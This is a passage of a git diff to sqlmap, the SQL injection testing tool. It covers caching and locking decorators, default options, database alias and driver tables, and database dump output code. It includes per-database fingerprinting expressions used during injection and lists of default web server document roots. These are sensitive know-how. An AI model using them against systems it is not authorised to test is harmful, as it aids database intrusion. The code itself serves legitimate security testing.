MAX_CACHE_ITEMS from lib.core.threads import getCurrentThreadData -_lock = threading.Lock() +_cache = {} +_method_locks = {} -def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)): +def cachedmethod(f): """ Method with a cached content + >>> __ = cachedmethod(lambda _: _) + >>> __(1) + 1 + >>> __(1) + 1 + >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) + >>> __(2) + 2 + >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) + >>> __(foobar=3) + 3 + Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ + _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) + _method_locks[f] = threading.RLock() + + def _freeze(val): + if isinstance(val, (list, set, tuple)): + return tuple(_freeze(x) for x in val) + if isinstance(val, dict): + return tuple(sorted((k, _freeze(v)) for k, v in val.items())) + return val + @functools.wraps(f) - def _(*args, **kwargs): - with _lock: - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff - if key not in cache: - cache[key] = f(*args, **kwargs) + def _f(*args, **kwargs): + lock, cache = _method_locks[f], _cache[f] + + try: + if kwargs: + key = (args, frozenset(kwargs.items())) + else: + key = args - return cache[key] + with lock: + if key in cache: + return cache[key] - return _ + except TypeError: + # Note: fallback (slowpath( + if kwargs: + key = (_freeze(args), _freeze(kwargs)) + else: + key = _freeze(args) + + with lock: + if key in cache: + return cache[key] + + result = f(*args, **kwargs) + + with lock: + cache[key] = result + + return result + + return _f def stackedmethod(f): """ Method using pushValue/popValue functions (fallback function for stack realignment) + + >>> threadData = getCurrentThreadData() + >>> original = len(threadData.valueStack) + >>> __ = stackedmethod(lambda _: threadData.valueStack.append(_)) + >>> __(1) + >>> len(threadData.valueStack) == original + True """ @functools.wraps(f) @@ -47,8 +99,30 @@ def _(*args, **kwargs): result = f(*args, **kwargs) finally: if len(threadData.valueStack) > originalLevel: - threadData.valueStack = threadData.valueStack[:originalLevel] + del threadData.valueStack[originalLevel:] + + return result + + return _ + +def lockedmethod(f): + """ + Decorates a function or method with a reentrant lock (only one thread can execute the function at a time) + + >>> @lockedmethod + ... def recursive_count(n): + ... if n <= 0: return 0 + ... return n + recursive_count(n - 1) + >>> recursive_count(5) + 15 + """ + + lock = threading.RLock() + @functools.wraps(f) + def _(*args, **kwargs): + with lock: + result = f(*args, **kwargs) return result return _ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 95a7f3ff421..743ab6a26b9 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -15,12 +15,14 @@ "delay": 0, "timeout": 30, "retries": 3, - "saFreq": 0, + "csrfRetries": 0, + "safeFreq": 0, "threads": 1, "level": 1, "risk": 1, "dumpFormat": "CSV", - "tech": "BEUSTQ", + "tablePrefix": "sqlmap", + "technique": "BEUSTQ", "torType": "SOCKS5", } diff --git a/lib/core/dicts.py b/lib/core/dicts.py index e80f3d9a033..a1baf0db3a2 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,21 +9,37 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK -from lib.core.settings import NULL +from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES +from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FRONTBASE_ALIASES +from lib.core.settings import H2_ALIASES +from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES +from lib.core.settings import RAIMA_ALIASES from lib.core.settings import SQLITE_ALIASES -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import FIREBIRD_ALIASES -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES -from lib.core.settings import DB2_ALIASES -from lib.core.settings import HSQLDB_ALIASES -from lib.core.settings import H2_ALIASES -from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import VERTICA_ALIASES +from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -108,6 +124,28 @@ 20: "image", } +ALTIBASE_TYPES = { + 1: "CHAR", + 12: "VARCHAR", + -8: "NCHAR", + -9: "NVARCHAR", + 2: "NUMERIC", + 6: "FLOAT", + 8: "DOUBLE", + 7: "REAL", + -5: "BIGINT", + 4: "INTEGER", + 5: "SMALLINT", + 9: "DATE", + 30: "BLOB", + 40: "CLOB", + 20001: "BYTE", + 20002: "NIBBLE", + -7: "BIT", + -100: "VARBIT", + 10003: "GEOMETRY", +} + MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", @@ -140,7 +178,7 @@ PGSQL_PRIVS = { 1: "createdb", 2: "super", - 3: "catupd", + 3: "replication", } # Reference(s): http://stackoverflow.com/a/17672504 @@ -187,27 +225,73 @@ DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), - DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), - DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"), - DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"), + DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), + DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), + DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), - DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), + DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), + DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), + DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), + DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), + DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), + DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), + DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), + DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), + DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), + DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), + DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), + DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), + DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), + DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), } +# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", - DBMS.MAXDB: " FROM VERSIONS", + DBMS.MAXDB: " FROM DUAL", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", - DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL" + DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", + DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", + DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" +} + +HEURISTIC_NULL_EVAL = { + DBMS.ACCESS: "CVAR(NULL)", + DBMS.MAXDB: "ALPHA(NULL)", + DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 + DBMS.ORACLE: "INSTR2(NULL,NULL)", + DBMS.PGSQL: "QUOTE_IDENT(NULL)", + DBMS.SQLITE: "JULIANDAY(NULL)", + DBMS.H2: "STRINGTOUTF8(NULL)", + DBMS.MONETDB: "CODE(NULL)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", + DBMS.MCKOI: "TONUMBER(NULL)", + DBMS.PRESTO: "FROM_HEX(NULL)", + DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", + DBMS.MIMERSQL: "ASCII_CHAR(256)", + DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CUBRID: "(NULL SETEQ NULL)", + DBMS.CACHE: "%SQLUPPER NULL", + DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", + DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", + DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL)", + DBMS.SNOWFLAKE: "BOOLNOT(NULL)", } SQL_STATEMENTS = { @@ -243,6 +327,7 @@ "update ", "delete ", "merge ", + "copy ", "load ", ), @@ -280,7 +365,7 @@ POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } -DEPRECATED_OPTIONS = { +OBSOLETE_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", @@ -288,19 +373,35 @@ "--ignore-401": "use '--ignore-code' instead", "--second-order": "use '--second-url' instead", "--purge-output": "use '--purge' instead", + "--sqlmap-shell": "use '--shell' instead", "--check-payload": None, "--check-waf": None, "--pickled-options": "use '--api -c ...' instead", + "--identify-waf": "functionality being done automatically", +} + +DEPRECATED_OPTIONS = { } DUMP_DATA_PREPROCESS = { - DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 - DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, + DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, + DBMS.MSSQL: { + "IMAGE": "CONVERT(VARBINARY(MAX),%s)", + "GEOMETRY": "(%s).STAsText()", + "GEOGRAPHY": "(%s).STAsText()" + }, + DBMS.PGSQL: { + "GEOMETRY": "ST_AsText(%s)", + "GEOGRAPHY": "ST_AsText(%s)" + }, + DBMS.MYSQL: { + "GEOMETRY": "ST_AsText(%s)" + } } DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), - OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout + OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html") } PART_RUN_CONTENT_TYPES = { @@ -330,3 +431,261 @@ "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } + +# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html + +HTML_ENTITIES = { + "quot": 34, + "amp": 38, + "apos": 39, + "lt": 60, + "gt": 62, + "nbsp": 160, + "iexcl": 161, + "cent": 162, + "pound": 163, + "curren": 164, + "yen": 165, + "brvbar": 166, + "sect": 167, + "uml": 168, + "copy": 169, + "ordf": 170, + "laquo": 171, + "not": 172, + "shy": 173, + "reg": 174, + "macr": 175, + "deg": 176, + "plusmn": 177, + "sup2": 178, + "sup3": 179, + "acute": 180, + "micro": 181, + "para": 182, + "middot": 183, + "cedil": 184, + "sup1": 185, + "ordm": 186, + "raquo": 187, + "frac14": 188, + "frac12": 189, + "frac34": 190, + "iquest": 191, + "Agrave": 192, + "Aacute": 193, + "Acirc": 194, + "Atilde": 195, + "Auml": 196, + "Aring": 197, + "AElig": 198, + "Ccedil": 199, + "Egrave": 200, + "Eacute": 201, + "Ecirc": 202, + "Euml": 203, + "Igrave": 204, + "Iacute": 205, + "Icirc": 206, + "Iuml": 207, + "ETH": 208, + "Ntilde": 209, + "Ograve": 210, + "Oacute": 211, + "Ocirc": 212, + "Otilde": 213, + "Ouml": 214, + "times": 215, + "Oslash": 216, + "Ugrave": 217, + "Uacute": 218, + "Ucirc": 219, + "Uuml": 220, + "Yacute": 221, + "THORN": 222, + "szlig": 223, + "agrave": 224, + "aacute": 225, + "acirc": 226, + "atilde": 227, + "auml": 228, + "aring": 229, + "aelig": 230, + "ccedil": 231, + "egrave": 232, + "eacute": 233, + "ecirc": 234, + "euml": 235, + "igrave": 236, + "iacute": 237, + "icirc": 238, + "iuml": 239, + "eth": 240, + "ntilde": 241, + "ograve": 242, + "oacute": 243, + "ocirc": 244, + "otilde": 245, + "ouml": 246, + "divide": 247, + "oslash": 248, + "ugrave": 249, + "uacute": 250, + "ucirc": 251, + "uuml": 252, + "yacute": 253, + "thorn": 254, + "yuml": 255, + "OElig": 338, + "oelig": 339, + "Scaron": 352, + "fnof": 402, + "scaron": 353, + "Yuml": 376, + "circ": 710, + "tilde": 732, + "Alpha": 913, + "Beta": 914, + "Gamma": 915, + "Delta": 916, + "Epsilon": 917, + "Zeta": 918, + "Eta": 919, + "Theta": 920, + "Iota": 921, + "Kappa": 922, + "Lambda": 923, + "Mu": 924, + "Nu": 925, + "Xi": 926, + "Omicron": 927, + "Pi": 928, + "Rho": 929, + "Sigma": 931, + "Tau": 932, + "Upsilon": 933, + "Phi": 934, + "Chi": 935, + "Psi": 936, + "Omega": 937, + "alpha": 945, + "beta": 946, + "gamma": 947, + "delta": 948, + "epsilon": 949, + "zeta": 950, + "eta": 951, + "theta": 952, + "iota": 953, + "kappa": 954, + "lambda": 955, + "mu": 956, + "nu": 957, + "xi": 958, + "omicron": 959, + "pi": 960, + "rho": 961, + "sigmaf": 962, + "sigma": 963, + "tau": 964, + "upsilon": 965, + "phi": 966, + "chi": 967, + "psi": 968, + "omega": 969, + "thetasym": 977, + "upsih": 978, + "piv": 982, + "bull": 8226, + "hellip": 8230, + "prime": 8242, + "Prime": 8243, + "oline": 8254, + "frasl": 8260, + "ensp": 8194, + "emsp": 8195, + "thinsp": 8201, + "zwnj": 8204, + "zwj": 8205, + "lrm": 8206, + "rlm": 8207, + "ndash": 8211, + "mdash": 8212, + "lsquo": 8216, + "rsquo": 8217, + "sbquo": 8218, + "ldquo": 8220, + "rdquo": 8221, + "bdquo": 8222, + "dagger": 8224, + "Dagger": 8225, + "permil": 8240, + "lsaquo": 8249, + "rsaquo": 8250, + "euro": 8364, + "weierp": 8472, + "image": 8465, + "real": 8476, + "trade": 8482, + "alefsym": 8501, + "larr": 8592, + "uarr": 8593, + "rarr": 8594, + "darr": 8595, + "harr": 8596, + "crarr": 8629, + "lArr": 8656, + "uArr": 8657, + "rArr": 8658, + "dArr": 8659, + "hArr": 8660, + "forall": 8704, + "part": 8706, + "exist": 8707, + "empty": 8709, + "nabla": 8711, + "isin": 8712, + "notin": 8713, + "ni": 8715, + "prod": 8719, + "sum": 8721, + "minus": 8722, + "lowast": 8727, + "radic": 8730, + "prop": 8733, + "infin": 8734, + "ang": 8736, + "and": 8743, + "or": 8744, + "cap": 8745, + "cup": 8746, + "int": 8747, + "there4": 8756, + "sim": 8764, + "cong": 8773, + "asymp": 8776, + "ne": 8800, + "equiv": 8801, + "le": 8804, + "ge": 8805, + "sub": 8834, + "sup": 8835, + "nsub": 8836, + "sube": 8838, + "supe": 8839, + "oplus": 8853, + "otimes": 8855, + "perp": 8869, + "sdot": 8901, + "lceil": 8968, + "rceil": 8969, + "lfloor": 8970, + "rfloor": 8971, + "lang": 9001, + "rang": 9002, + "loz": 9674, + "spades": 9824, + "clubs": 9827, + "hearts": 9829, + "diams": 9830 +} diff --git a/lib/core/dump.py b/lib/core/dump.py index 414d7df8fb5..aa50ae07c4c 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import cgi import hashlib import os import re @@ -17,17 +16,23 @@ from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout +from lib.core.common import filterNone from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import isListLike -from lib.core.common import isMultiThreadMode +from lib.core.common import isNoneValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue -from lib.core.common import unicodeencode +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getBytes +from lib.core.convert import getConsoleLength +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -37,9 +42,10 @@ from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException -from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapValueException from lib.core.replication import Replication +from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN @@ -50,10 +56,10 @@ from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES +from lib.utils.safe2bin import safechardecode +from thirdparty import six from thirdparty.magic import magic -from extra.safe2bin.safe2bin import safechardecode - class Dump(object): """ This class defines methods used to parse and output the results @@ -66,27 +72,27 @@ def __init__(self): self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): - if conf.api: - dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) - return - text = "%s%s" % (data, "\n" if newline else " ") - if console: + if conf.api: + dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) + + elif console: dataToStdout(text) - multiThreadMode = isMultiThreadMode() - if multiThreadMode: - self._lock.acquire() + if self._outputFP: + multiThreadMode = kb.multiThreadMode + if multiThreadMode: + self._lock.acquire() - try: - self._outputFP.write(text) - except IOError as ex: - errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) - raise SqlmapGenericException(errMsg) + try: + self._outputFP.write(text) + except IOError as ex: + errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) - if multiThreadMode: - self._lock.release() + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True @@ -98,23 +104,26 @@ def flush(self): pass def setOutputFile(self): + if conf.noLogging: + self._outputFP = None + return + self._outputFile = os.path.join(conf.outputPath, "log") try: - self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") + self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w') except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - def getOutputFile(self): - return self._outputFile - def singleString(self, data, content_type=None): self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): if conf.api: self._write(data, content_type=content_type) - return + + if isListLike(data) and len(data) == 1: + data = unArrayizeValue(data) if isListLike(data): self.lister(header, data, content_type, sort) @@ -133,28 +142,25 @@ def string(self, header, data, content_type=None, sort=True): if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: - self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) - else: - self._write("%s:\tNone" % header) + self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: try: elements = set(elements) elements = list(elements) - elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) except: pass if conf.api: self._write(elements, content_type=content_type) - return if elements: self._write("%s [%d]:" % (header, len(elements))) for element in elements: - if isinstance(element, basestring): + if isinstance(element, six.string_types): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) @@ -169,10 +175,10 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.isDbms(DBMS.MAXDB): - self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): - self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): + self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -185,6 +191,9 @@ def dba(self, data): def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) + def statements(self, statements): + self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() @@ -192,20 +201,19 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = userSettings[1] userSettings = userSettings[0] - users = userSettings.keys() - users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + users = [_ for _ in userSettings.keys() if _ is not None] + users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) if conf.api: self._write(userSettings, content_type=content_type) - return if userSettings: self._write("%s:" % header) for user in users: - settings = userSettings[user] + settings = filterNone(userSettings[user]) - if settings is None: + if isNoneValue(settings): stringSettings = "" else: stringSettings = " [%d]:" % len(settings) @@ -231,7 +239,6 @@ def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) - return maxlength = 0 @@ -240,14 +247,14 @@ def dbTables(self, dbTables): if table and isListLike(table): table = table[0] - maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or unicode(table)))) + maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): - tables.sort() + tables = sorted(filter(None, tables)) - self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") + self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") if len(tables) == 1: self._write("[1 table]") @@ -261,7 +268,7 @@ def dbTables(self, dbTables): table = table[0] table = unsafeSQLIdentificatorNaming(table) - blank = " " * (maxlength - len(normalizeUnicode(table) or unicode(table))) + blank = " " * (maxlength - getConsoleLength(getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) @@ -274,7 +281,6 @@ def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if conf.api: self._write(tableColumns, content_type=content_type) - return for db, tables in tableColumns.items(): if not db: @@ -286,8 +292,8 @@ def dbTableColumns(self, tableColumns, content_type=None): colType = None - colList = columns.keys() - colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + colList = list(columns.keys()) + colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for column in colList: colType = columns[column] @@ -303,7 +309,7 @@ def dbTableColumns(self, tableColumns, content_type=None): maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) - self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) + self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") @@ -348,7 +354,6 @@ def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) - return maxlength1 = len("Table") maxlength2 = len("Entries") @@ -356,10 +361,10 @@ def dbTablesCount(self, dbTables): for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, len(normalizeUnicode(table) or unicode(table))) + maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): - self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") + self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) @@ -370,7 +375,7 @@ def dbTablesCount(self, dbTables): self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) - sortedCounts = counts.keys() + sortedCounts = list(counts.keys()) sortedCounts.sort(reverse=True) for count in sortedCounts: @@ -379,10 +384,10 @@ def dbTablesCount(self, dbTables): if count is None: count = "Unknown" - tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: - blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) + blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) @@ -407,9 +412,19 @@ def dbTableValues(self, tableValues): if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) - return - dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) + 